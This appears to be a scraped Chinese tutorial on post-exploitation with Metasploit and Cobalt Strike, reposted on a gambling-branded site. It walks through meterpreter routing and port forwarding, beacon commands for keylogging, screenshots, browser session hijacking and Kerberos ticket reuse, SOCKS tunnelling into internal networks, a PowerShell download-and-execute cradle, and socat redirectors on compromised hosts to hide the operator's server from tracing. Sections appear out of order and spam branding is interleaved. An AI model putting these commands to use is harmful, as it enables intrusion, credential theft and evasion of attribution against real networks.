msf>route add 10.0.0.0 255.0.0.0 1

betway必威官网手机版 91

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。
meterpreter端口转发
假设目前我们扫描到了10网段的某个ip存在mysql弱口令,账号密码都有了,那么我们可以在肉鸡服务器上登陆目标服务器mysql。当然,如果我想在攻击机上去登陆mysql,可以使用端口转发。(某些情况下,内网的机器也不能互相ssh,需要登陆堡垒机)
在meterpreter shell中输入:
1

常规java攻击,有版本限制,而且要买证书,实际渗透中,其实前面这些基本就已经够用了,所以这里就不重点说了

meterpreter > portfwd add -l 55555 -r 10.0.0.1 -p 3306

0x05 通过上面这些方法,相信此时的你已经搞到了一个beacon的shell,下面我们就来详细说明关于beacon shell自身的基本使用[后渗透阶段],先假设我们拿到的是一个还没有bypass掉uac之前的’管理员’权限的beacon shell,以此来进行后续的一些基本操作,需要事先说明一下cs对中文的支持并不好,如果目标是中文系统,有乱码是肯定的

表示将10.0.0.1服务器上的3306端口转发到本地的55555端口,然后我们可以在本地运行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陆mysql。其他端口如ssh、ftp等都类似,这个过程跟msf代理很像。
网络上关于metasploit用法的资料很多,这里主要记录一些常用用法,以及个人使用过程中的一些坑
参考文章:http://www.freebuf.com/sectool/72135.htmlhttp://blog.csdn.net/lzhd24/article/details/50664342http://blog.csdn.net/qq_34457594/article/details/52756458http://www.freebuf.com/sectool/56432.htmlhttp://www.freebuf.com/articles/network/125278.html
传送门
【渗透神器系列】DNS信息查询【渗透神器系列】nc【渗透神器系列】nmap【渗透神器系列】Fiddler【渗透神器系列】搜索引擎【渗透神器系列】WireShark

help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样,eg: help checkin

note 给当前目录机器起个名字, eg: note beacon-shell

cd在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' eg: cd c:

mkdir 新建目录, eg: mkdir d:beacon

rm 删除文件或目录, eg: rm d:beacon

upload 上传文件到目标系统中

download从目标系统下载指定文件,eg: download C:Userswin7cnDesktopputty.exe

cancel取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下

shell在目标系统中执行指定的cmd命令, eg: shell whoami

getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权

pwd查看当前在目录系统中的路径

ls列出当前目录下的所有文件和目录

drives列表出目标系统的所有分区[win中叫盘符]

ps查看目标系统当前的所有的进程列表

kill杀掉指定进程, eg: kill 4653

sleep 10指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可

jobs列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除

jobkill如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, eg: jobkill 1345

clear清除beacon内部的任务队列

checkin强制让被控端回连一次

exit 终止当前beacon 会话

ctrl k 清屏

0x06 搜集目标机器上的各类信息[有些可能会触发敏感api导致防护报警,另外进程注入,被控端可能感到非常明显的卡顿,工具也有许多不完善的地方]:

在目标系统中放置常规键盘记录, eg: keylogger 1796 x86

betway必威官网手机版 92

尝试在目标系统中截屏,可能会造成目标系统有很明显的卡顿,eg: screenshot 1796 x86 10 截取10秒

betway必威官网手机版 93

利用web代理,劫持转发目标浏览器进程数据到指定的端口上,然后我们再从该端口访问,就相当于拿着目标的浏览器中的数据访问

比如,我们通过截屏发现他登录某个需要账号密码的站点,通过浏览器代理我就可以实现无密码直接登录他所登录的那个站点,我表达能力不好,相信大家应该都懂我意思

官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,估计是dump进程数据的原因,dump瞬间可能会造成目标浏览器巨卡

不过不得不说这个想法还是非常好的,只是功能目前做的 [ 这里膜拜下作者,大写的赞] ,还不是特别完善,走投无路的情况下可以尝试下

browserpivot 1460 x86

browserpivot stop

betway必威官网手机版 94

betway必威官网手机版 95

betway必威官网手机版 96

betway必威官网手机版 97

域内渗透相关模块,其实,如果真是域内渗透,我们可以暂时不用这么搞,后续再单独说

kerberos_ccache_use 从ccache文件中导入票据

kerberos_ticket_purge 清除当前shell的票据

kerberos_ticket_use 从ticket文件中导入票据

0x07 通过各种powershell渗透框架来增强cs的实用性,如,nishang,empire,PowerSploit,powerup,Sherlock……续的,提权,bypassuac,dll注入,抓hash,pth……都是一模一样的用法,核心还是在那些脚本上,关于各类powershell框架的具体用法,请关注博客相关文章,这里就不一一演示了,就简单说一下用法,当然,beacon shell自身也提供了类似的功能,只是我没有说,但实际中那个可能还远远不够,而且它自身的工具工作的也不是非常好,所以更推荐大家尤其是在win内网渗透中,尽可能全部用powershell来搞

第一种方式,在beacon shell中导入外部ps脚本到远程机器上

powershell-import /root/Desktop/Get-Information.ps1

powershell Get-Information

betway必威官网手机版 98

第二种方式,在beacon shell中直接执行powershell代码

powerpick Get-Host

betway必威官网手机版 99

0x08 利用cs灵活穿透目标内网

对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议[暂只支持arp,icmp,tcp],指定线程[切记实际中不要开的太高]

portscan 192.168.1.0/24 1-6000 arp 10

betway必威官网手机版 100

becon shell内置的端口转发功能,把本机的某个端口转到公网或者内网指定机器的某个端口上,实际用的时候速度确实比较慢,而且经常断……原因暂未知

rportfwd 389 192.168.1.181 3389

rportfwd stop 389

betway必威官网手机版 101

betway必威官网手机版 102

让cs和msf相互间联动使用,在目标机器上开启socks4a代理,方便进一步的内网渗透

第一种,利用各种socks代理客户端直接把各类渗透工具带进目标内网

beacon> socks 1234

betway必威官网手机版 103

# vi /etc/proxychains.conf

socks4 53.3.3.6 1234

# socks stop

betway必威官网手机版 104

第二种,直接利用隧道直接把整个msf带进目标内网

setg Proxies socks4:53.3.3.6:1234

betway必威官网手机版 105

betway必威官网手机版 106

利用beacon shell连接内网中的linux机器

ssh 192.168.1.199:22 root admin

betway必威官网手机版 107

通过beacon隧道直接派生一个meterpreter的shell[非vps上做中转,直接通过beacon隧道过来],流程很简单,首先,在团体服务器上做端口转发,然后创建一个外部监听器,端口和ip写beacon shell的机器所在的ip,然后在对应的beacon shell中’spawn’选中刚刚创建好的外部监听器,暂时还有些问题没有很好的解决,后面单独说

至于如何利用msf弹回一个beacon shell的方法就很多了,最简单的方法就是直接执行下beacon的payload的代码就可以了,又忘贴图了,汗……后期再补上来吧

0x09 配合常规端口转发尽可能隐藏自己的团队服务器

有时为了混淆视听,防止被别人快速溯源到,可能会在中间加一些跳板来尽可能隐藏我们真实的团队服务器位置,怎么做呢,其实很简单

说白点就是做端口转发[又名重定向],当然啦,这个端口转发肯定是在自己已有的肉鸡上做[论匿名的重要性]

如果你实在不放心,也可以尝试同时在多个肉鸡上,做多级转发[也就是多加几层跳板],以此来迷惑对方,加大对手的溯源难度,这是其一

还有些目标内网中的某些机器是没法正常直连公网的,只能内网机器间相互访问,但我们还是想让那台不能上网的机器也能正常上线

这就要用到我们马上要说的端口转发,至于具体用什么工具自然就非常多了,不过,还是推荐大家首选一些系统自带工具来搞,比如,netsh,iptables,socat之流……

这样,你好,我也好 ^_^

下面就用socat来简单演示下如何尽可能隐藏自己的团队服务器,关于内网断网机器上线也是一模一样的道理,大家可自行尝试

首先,到kali中用cs客户端登到我们的团队服务器,创建一个正常80端口的监听器,这里的回连ip暂时直接用vps所在的真实ip[实际中尽量用域名,很重要],如下

betway必威官网手机版 108

betway必威官网手机版 109

接着,就可以ssh到肉鸡上用socat开始做转发了,下面这句话的意思就是将来自外部的80端口上的流量转到公网vps的80端口上,之后肉鸡本地的80端口会一直处于监听状态,只要80端口一有流量经过就会自动转发到vps的80端口,而vps的80端口又正好是我们的监听器端口,这意思,相信你懂的

# socat tcp-listen:80,reuseaddr,fork tcp:53.3.3.6:80 &

betway必威官网手机版 110

此时,回到cs客户端随便创建一个powershell payload,注意,正如我们前面所说,这只是个powershell下载器,主要负责下载真正的shellcode代码,一定要记得把后面的ip要改成肉鸡的ip[因为我这里是模拟的肉鸡,所以才是个内网ip,实际中肯定是个公网ip或者域名],因为我们最终的目的是通过肉鸡帮我们转发到我们真正的团队服务器上去,以此来达到尽量隐藏的目的

注意这里,默认生成以后,它是我们自己团队服务器解析的那个域名,实际中一定要手动把它改成肉鸡的域名或ip,这样,当下载访问肯定首先会访问到肉鸡,而我们已经在肉鸡做了转发,所以最终还是会达到我们的团队服务器成功下载到shellcode代码,我个废物,竟然连码都没打全,算了,反正vps马上也快到期了,打游击打习惯了,嘿嘿……^_^

# powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''))"

betway必威官网手机版 111

betway必威官网手机版 112

betway必威官网手机版 113

betway必威官网手机版 114

最后,我们看到目标正常上线,至于,怎么让目标内网中不能正常连网的机器也能正常上线都是一模一样的道理,你可以把payload回连的流量弹到内网中任何一台可以正常上网的机器上,然后再去那台机器上把弹过来的流量转到我们团队服务器上,这样即可达到让内网中不能上网的机器也一样正常上线

0x10 深入理解dns隧道通信以及smb beacon通信过程,这可能是整个工具最核心的地方之一,后续会用大量的篇幅单独说

0x11 至于牛逼的报告生成功能这里就不说了吧,支持一键导出pdf,实际渗透过程中的所有操作记录数据全部都被保存在指定的目录中,大家有兴趣可自行研究,比较简单,毕竟不是我们这里的重点,就不多啰嗦了

一点小结:

大家也看到了,关于工具本身使用非常简单,纯图形化操作,稍微有点儿基础,很快就能上手,而且它直接支持图标灵活拖拽,很方便对指定肉鸡进行集中批量操作,非常友好,实际中将msf和cs配合起来进行内网渗透,无疑暂时也是极好的,真正的难点还在于对不同协议的beacon shell通信过程的理解,这也是个人觉得整个工具最值钱的地方,说实话,关于其内部的通信细节很多问题至今仍困扰着我,一直都觉得cs本身就是一款非常完美的学习样本,里面有太多值得深挖沉淀的东西,只是苦于有很多东西,并非一个人所能完成,相信也大家跟我一样,绝不会仅仅满足于工具基本使用上,其实心里都很清楚,那样基本是不会有什么实质性的长进的,时间不多,容不得浪费,所以也非常期待跟大家一起深入交流……对了,cs 3.8也已经出来了一段时间了,想尝鲜的朋友可以去试试,延长试用期还是老办法…

文章出处:klion's blog

原文链接:)

责任编辑:

本文由betway必威官网手机版发布于互联网知识,转载请注明出处:betway必威官网手机版:登时上手,Metasploit域渗透

关键词: